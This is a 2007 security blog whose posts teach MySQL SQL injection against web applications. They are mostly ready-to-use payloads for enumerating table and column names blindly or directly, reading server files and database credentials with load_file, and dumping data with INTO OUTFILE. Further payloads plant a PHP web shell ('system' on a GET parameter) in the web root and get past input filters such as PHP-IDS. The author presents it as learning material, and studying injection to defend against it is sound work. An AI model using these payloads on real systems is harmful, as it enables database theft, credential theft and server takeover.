MySQL table and column names

November 17, 2007

Getting the table and column names within a SQL injection attack is often a problem and I’ve seen a lot of questions about this on the internet. Often you need them to start further SQLi attacks to get the data. So this article shows you how I would try to get the data in different scenarios on MySQL. For other databases I recommend the extensive cheat sheets from pentestmonkey.

Please note that attacking websites you are not allowed to attack is a crime and should not be done. This article is for learning purposes only.

article overview

For the following injections I’ll assume you understand the basics of SQL injection and union select. My injections are written for a SELECT query with two columns, however don’t forget to add nulls in the right amount.

1. The information_schema table

1.a. Read information_schema table normally

Sometimes on MySQL >=5.0 you can access the information_schema table.
So you may want to check which MySQL version is running:
0′ UNION SELECT version(),null /*
or:
0′ UNION SELECT @@version,null /*

Once you know which version is running, proceed with these steps (MySQL >= 5.0) or jump to the next point.

You can either get the names step by step or at once.

First, get the tablenames:
0′ UNION SELECT table_name,null FROM information_schema.tables WHERE version = ‘9
Note that version=9 has nothing to do with the MySQL version. It’s just an unique identifier for user generated tables, so leave as it is to ignore MySQL system table names.
update: Testing another MySQL version (5.0.51a) I noticed that the version is “10” for user generated tables. so dont worry if you dont get any results. instead of the unique identifier you can also use “LIMIT offset,amount”.

Second, get the columnnames:
0′ UNION SELECT column_name,null FROM information_schema.columns WHERE table_name = ‘tablename

Or with one injection:
0′ UNION SELECT column_name,table_name FROM information_schema.columns /*
Unfortunetly there is no unique identifier, so you have to scroll through the whole information_schema table if you use this.

If the webapplication is designed to output only the first line of the resultset you can use LIMIT x,1 (starting with x=0) to iterate your result line by line.

0′ UNION SELECT column_name,null FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 3,1

Also, you can use group_concat() to concatenate all table/column names to one string and therefore also return only one line:

0′ UNION SELECT group_concat(column_name),null FROM information_schema.columns WHERE table_name = ‘tablename

Once you know all table names and column names you can union select all the data you need.

For more details about the information_schema table see the MySQL Documentation Library. There you’ll find other interesting columns you can add instead of null, for example data_type.

Ok, that was the easiest part.

1.b. Read information_schema table blindly

Sometimes you can’t see the output of your request, however there are some techniques to get the info blindly, called Blind SQL Injection. I’ll assume you know the basics.
However, make sure you really need to use blind injection. Often you just have to make sure the actual result returns null and the output of your injection gets processed by the mysql_functions instead. Use something like AND 1=0 to make sure the actual output is null and then append your union select to get your data, for example:
1′ AND 1=0 UNION SELECT @@version,null /*

If you really need blind SQL injection we’ll go through the same steps as above, so first we try to get the version:
1’AND MID(version(),1,1) like ‘4

The request will be successfull and the same page will be displayed like as we did no injection if the version starts with “4”. If not, I’ll guess the server is running MySQL 5. Check it out:
1’AND MID(version(),1,1) like ‘5

Always remember to put a value before the actual injection which would give “normal” output. If the output does not differ, no matter what you’ll inject try some benchmark tests:
1′ UNION SELECT (if(mid(version(),1,1) like 4, benchmark(100000,sha1(‘test’)), ‘false’)),null /*
But be careful with the benchmark values, you dont want to crash your browser ;-). I’d suggest you to try some values first to get a acceptable response time.

Once we know the version number you can proceed with these steps (MySQL >= 5.0) or jump to the next point.

Since we cant read out the table name we have to brute it. Yes, that can be annoying, but who said it would be easy?
We’ll use the same injection as in 1.), but now with blind injection technique:
1′ AND MID((SELECT table_name FROM information_schema.tables WHERE version = 9 LIMIT 1),1,1) > ‘m

Again, this will check if the first letter of our first table is alphabetically located behind “m”. As stated above, version=9 has nothing to do with the MySQL version number and is used here to fetch only user generated tables.
Once you got the right letter, move on to the next:
1′ AND MID((SELECT table_name FROM information_schema.tables WHERE version = 9 LIMIT 1),2,1) > ‘m
And so on.

If you got the tablename you can brute its columns. This works as the same principle:
1′ AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 1),1,1) > ‘m
1′ AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 1),2,1) > ‘m
1′ AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 1),3,1) > ‘m
And so on.

To check the next name, just skip the first bruted tablename with LIMIT (see comments for more details about the index):
1′ AND MID((SELECT table_name FROM information_schema.tables WHERE version = 9 LIMIT 1,1),1,1) > ‘m
Or columnname:
1′ AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 1,1),1,1) > ‘m

Sometimes it also makes sense to check the length of the name first, so maybe you can guess it easier the more letters you reveal.
Check for the tablename:
1′ AND MID((SELECT table_name FROM information_schema.tables WHERE version = 9 LIMIT 1),6,1)=’
Or for the column name:
1′ AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 1),6,1)=’
Both injections check if the sixth letter is not empty. If it is, and the fifth letter exists, you know the name is 5 letters long.

Since we know that the information_schema table has 33 entries by default we can also check out how many user generated tables exist. That means that every entry more than 33 is a table created by a user.
If the following succeeds, it means that there is one user generated table:
1′ AND 34=(SELECT COUNT(*) FROM information_schema.tables)/*
There are two tables if the following is true:
1′ AND 35=(SELECT COUNT(*) FROM information_schema.tables)/*
And so on.

2. You don’t have access to information_schema table

If you don’t have access to the information_schema table (default) or hit a MySQL version < 5.0 it’s quite difficult on MySQL.
There is only one error message I could find that reveals a name:
1’%’0
Query failed: Column ‘id’ cannot be null

But that doesnt give you info on other column or table names and only works if you can access error messages. However, it could make guessing the other names easier.

If you don’t want to use a bruteforce tool we will have to use load_file. But that will require that you can see the output of course.

“To use this function, the file must be located on the server host, you must specify the full pathname to the file, and you must have the FILE privilege. The file must be readable by all and its size less than max_allowed_packet bytes.”

You can read out max_allowed_packet on MySQL 5
0′ UNION SELECT @@max_allowed_packet,null /*
Mostly you’ll find the standard value 1047552 (Byte).

Note that load_file always starts to look in the datadir. You can read out the datadir with:
0′ UNION SELECT @@datadir,null /*
So if your datadir is /var/lib/mysql for example, load_file(‘file.txt’) will look for /var/lib/mysql/file.txt.

2.a. Read the script file

Now, the first thing I would try is to load the actual script file. This not only gives you the exact query with all table and column names, but also the database connection credentials. A file read could look like this:

0′ UNION SELECT load_file(‘../../../../Apache/htdocs/path/file.php’),null /* (Windows)
0′ UNION SELECT load_file(‘../../../var/www/path/file.php’),null /* (Linux)

The amount of directories you have to jump back with ../ is the amount of directories the datadir path has. After that follows the webserver path.
All about file privileges and webserver path can be found in my article about into outfile.
Once you got the script you can also use into outfile combined with OR 1=1 to write the whole output to a file or to set up a little PHP script on the target webserver which reads out the whole database (or the information you want) for you.

2.b) Read the database file

On MySQL 4 and 5 you can also use load_file to get the table content.

The database files are usually stored in
@@datadir/databasename/

Take a look at step 2. how to get the datadir. An injection we need to read the database content looks like this:

0′ UNION SELECT load_file(‘databasename/tablename.MYD’),null /*

As you can see we need the databasename and tablename first. The databasename is easy:
0′ UNION SELECT database(),null /*

The table name is the hard part. Actually you can only guess or bruteforce it with a good wordlist and something like:

0′ UNION SELECT ‘success’,null FROM testname /*

This will throw an error if testname does not exists, or display “success” if tablename testname exists.
If you try to guess the name, have a look at all errors, vars and html sources you can get to get an idea of how they could have named the table / columns. Often it is not as difficult as it seems first.
You can find a small wordlist for common tablenames here (by Raz0r) and here.

Also note that the file loaded with load_file() must be smaller than max_allowed_packet so this wont work on huge database files, because the standard value is ~1 MB which will suffice for only about 100.000 entries (if my calculation is right ;-))

(2.c. Compromising the server)

There are no other ways to get the data as far as I know, except of compromising the server via MySQL into outfile or with other techniques which are beyond the scope of this article (e.g. LFI).

If you do have any other clever ways I don’t know of or feel I’m in error on some facts, PLEASE contact me.

UPDATE: have a look at this post about PROCEDURE ANALYSE to get the names of the database, table and columns which are used by the query you are injecting to.

UPDATE2: also have a look at this post.


MySQL into outfile

November 17, 2007

This article will be about into outfile, a pretty useful feature of MySQL for SQLi attackers. We will take a look at the FILE privilege and the web directory problem first and then think about some useful files we could write on the webserver.

Please note that attacking websites you are not allowed to attack is a crime and should not be done. This article is for learning purposes only.

As in the previous articles I’ll assume you know the basics about SQL injection and union select.

1.) The FILE privilege

If we want to read or write to files we have to have the FILE privilege. Lets find out which database user we are first:
0′ UNION SELECT current_user,null /*
or:
0′ UNION SELECT user(),null /*
This will give us the username@server. We’re just interested in the username by now.

You can also use the following blind SQL injections if you cant access the output of the query.
Guess a name:
1′ AND user() LIKE ‘root
Brute the name letter by letter:
1′ AND MID((user()),1,1)>’m
1′ AND MID((user()),2,1)>’m
1′ AND MID((user()),3,1)>’m

Once we know the current username we can check the FILE privilege for this user. First we try to access the mysql.user table (MySQL 4/5):
0′ UNION SELECT file_priv,null FROM mysql.user WHERE user = ‘username

You can also have a look at the whole mysql.user table without the WHERE clause, but I chose this way because you can easily adapt the injection for blind SQL injection:

1′ AND MID((SELECT file_priv FROM mysql.user WHERE user = ‘username’),1,1) = ‘Y
(one column only, do not add nulls here, it’s not a union select)

You can also recieve the FILE privilege info from the information.schema table on MySQL 5:
0′ UNION SELECT grantee,is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘file’ AND grantee like ‘%username%

blindly:
1′ AND MID((SELECT is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘file’ AND grantee like ‘%username%’),1,1)=’Y

If you can’t access the mysql.user or information_schema table (default) just go ahead with the next steps and just try.
If you figured out that you have no FILE privileges you can’t successfully use INTO OUTFILE.

2.) The web directory problem

Once we know if we can read/write files we have to check out the right path. In the most cases the MySQL server is running on the same machine as the webserver does and to access our files later we want to write them onto the web directory. If you define no path, INTO OUTFILE will write into the database directory.

On MySQL 4 we can get an error message displaying the datadir:
0′ UNION SELECT load_file(‘a’),null/*

On MySQL 5 we use:
0′ UNION SELECT @@datadir,null/*

The default path for file writing then is datadir\databasename.
You can figure out the databasename with:
0′ UNION SELECT database(),null/*

Now these information are hard to get with blind SQL injection. But you don’t need them necessarily. Just make sure you find out the web directory and use some ../ to jump back from the datadir.

If you are lucky the script uses mysql_result(), mysql_free_result(), mysql_fetch_row() or similar functions and displays warning messages. Then you can easily find out the webserver directory by leaving those functions with no input that they will throw a warning message like:

Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /web/server/path/file.php on line xxx

To provoke an error like this try something like:
0′ AND 1=’0

This works at the most websites. If you’re not lucky you have to guess the web directory or try to use load_file() to fetch files on the server which might help you. Here is a new list of possible locations for the Apache configuration file, which may spoil the webdirectory path:
/etc/init.d/apache
/etc/init.d/apache2
/etc/httpd/httpd.conf
/etc/apache/apache.conf
/etc/apache/httpd.conf
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/httpd.conf
/opt/apache/conf/httpd.conf
/home/apache/httpd.conf
/home/apache/conf/httpd.conf
/etc/apache2/sites-available/default
/etc/apache2/vhosts.d/default_vhost.include

Check out the webservers name first by reading the header info and then figure out where it usually stores its configuration files. This also depends on the OS type (*nix/win) so you may want to check that out too. Use @@version or version() to find that out:
0′ UNION SELECT @@version,null /*
-nt-log at the end means it’s a windows box, -log only means it’s *nix box.
Or take a look at the paths in error messages or at the header.

Typical web directories to guess could be:
/var/www/html/
/var/www/web1/html/
/var/www/sitename/htdocs/
/var/www/localhost/htdocs
/var/www/vhosts/sitename/httpdocs/

Use google to get some more ideas.

Basically you should be allowed to write into any directory where the MySQL server has write access to, as long as you have the FILE privilege. However, an Administrator can limit the path for public write access.

3.) create useful files

Once you figured out the right directory you can select data and write it into a file with:
0′ UNION SELECT columnname,null FROM tablename INTO OUTFILE ‘../../web/dir/file.txt
(How to figure out column/table names, see my article about MySQL table and column names)

Or the whole data without knowing the table/column names:
1′ OR 1=1 INTO OUTFILE ‘../../web/dir/file.txt

If you want to avoid splitting chars between the data, use INTO DUMPFILE instead of INTO OUTFILE.

You can also combine load_file() with into outfile, like putting a copy of a file to the accessable webspace.
0′ AND 1=0 UNION SELECT load_file(‘…’) INTO OUTFILE ‘…

In some cases I’d recommend to use
0′ AND 1=0 UNION SELECT hex(load_file(‘…’)) INTO OUTFILE ‘…
and decrypt it later with the PHP Charset Encoder, especially when reading the MySQL data files.

Or you can write whatever you want into a file:
0′ AND 1=0 UNION SELECT ‘code’,null INTO OUTFILE ‘../../web/server/dir/file.php

Here are some useful code examples:
// PHP SHELL
<? system($_GET['c']); ?>
This is a very simple one. You can find more complex ones (including file browsing and so on) on the internet.
Note that the PHP safe_mode must be turned off. Depending on OS and PHP version you can bypass the safe_mode sometimes.

// webserver info
Gain a lot of information about the webserver configuration with:
<? phpinfo(); ?>

// SQL QUERY
<? ... $result = mysql_query($_GET['query']); ... ?>
Try to use load_file() to get the database connection credentials, or try to include an existing file on the webserver which handles the mysql connect.

At the end some notes regarding INTO OUTFILE:

  • you can’t overwrite files with INTO OUTFILE
  • INTO OUTFILE must be the last statement in the query
  • there is no way I know of to encode the pathname, so quotes are required
  • you can encode your code with char()
  • If you have any other clever tricks or feel I’m in error on some facts, PLEASE leave a comment or contact me.


    MySQL syntax

    November 11, 2007

    While playing with the PHP-IDS filters and trying to circumvent them in the past months I came across some interesting MySQL syntax characteristics I’d like to share. Note that this will only be interesting if you try to evade filters or want to learn more about the syntax ;).

    First of all there are hundreds of possibilities to return a true statement in order to bypass logins or to return the full table content on select queries. Besides the simple ‘ OR ‘1’=’1 trick you can also compare the input directly. The shortest one would be ‘=’. You can also use functions(md5(0)>1), column names (column!=0), user vars (e.g. @var!=1), system vars(e.g. @@version>4) combined with all kinds of whitespaces, operators, prefixes and brackets.

    $prefixes = array(“”, “+”, “-“, “~”, “!”, “@”, ” “);

    $operators = array(“^”, “=”, “!=”, “%”, “/”, “*”, “&”, “&&”, “|”, “||”, “<“, “>”, “>>”, “<<“, “>=”, “<=”, “<>”, “<=>”, ” XOR “, ” DIV “, ” LIKE “, ” RLIKE “, ” SOUNDS LIKE “, ” REGEXP “);

    $whitespaces = array(“%20”, “%09”, “%0a”, “%0b”, “%0c”, “%0d”, “%a0”);

    Note that you can use prefixes and whitespaces as often as you want, so ‘ OR- +-1=- + – ( + 1 ) /* works as well.
    Also consider that some prefixes affect their follower. This shows the following table:

    MySQL prefix

    Note that ~ inverts bits and you can also use @ as prefix, which will return into a user variable with the value null.

    You can also do alot with statics like null, for example 1′ is not null /* or, to avoid comment types, 1′ is not null – ‘ (MySQL<=4). Instead of null you can also use \N (case sensitive). Or you can use true and false, for example ‘or true#. In WHERE clauses you can also use not, like ‘or not’.

    As comment types you can use all three known on MySQL: /*, # (%23), --. However make sure that you will write at least one space behind --, like -- aa, otherwise your query will fail.

    (update: As read on sla.ckers, there will be an mysql update which will disallow unclosed comments. However this wont make any difference in the most cases)

    I hope you learned how flexible the MySQL syntax is and that it’s always better to secure your WebApp than filtering for suspicous input. For a lot of example vectors take a look at this thread at sla.ckers.

    Some of them:
    ‘<~’
    aa’is\N|!’
    aa’*@a is null-‘
    aa’|1!=(1)#aa

    Here is a little PHP script I wrote to bruteforce some filter evasions. Just rename the file to .php.


    Interview on PHP-IDS

    November 10, 2007

    Since I’m too lazy to write something on my about page atm, you can get some info about me at the PHP-IDS website, a webapplication IDS project I really like and supported with some SQLi vectors.


    Hello world!

    November 9, 2007

    Ok, this is my new blog. There wont be regular updates, it’s more like a place where I store some ideas and things I’ve learned, or projects I’m currently working on 😉

    Anyway, all ideas and comments are always welcome.

    greetings,

    Reiners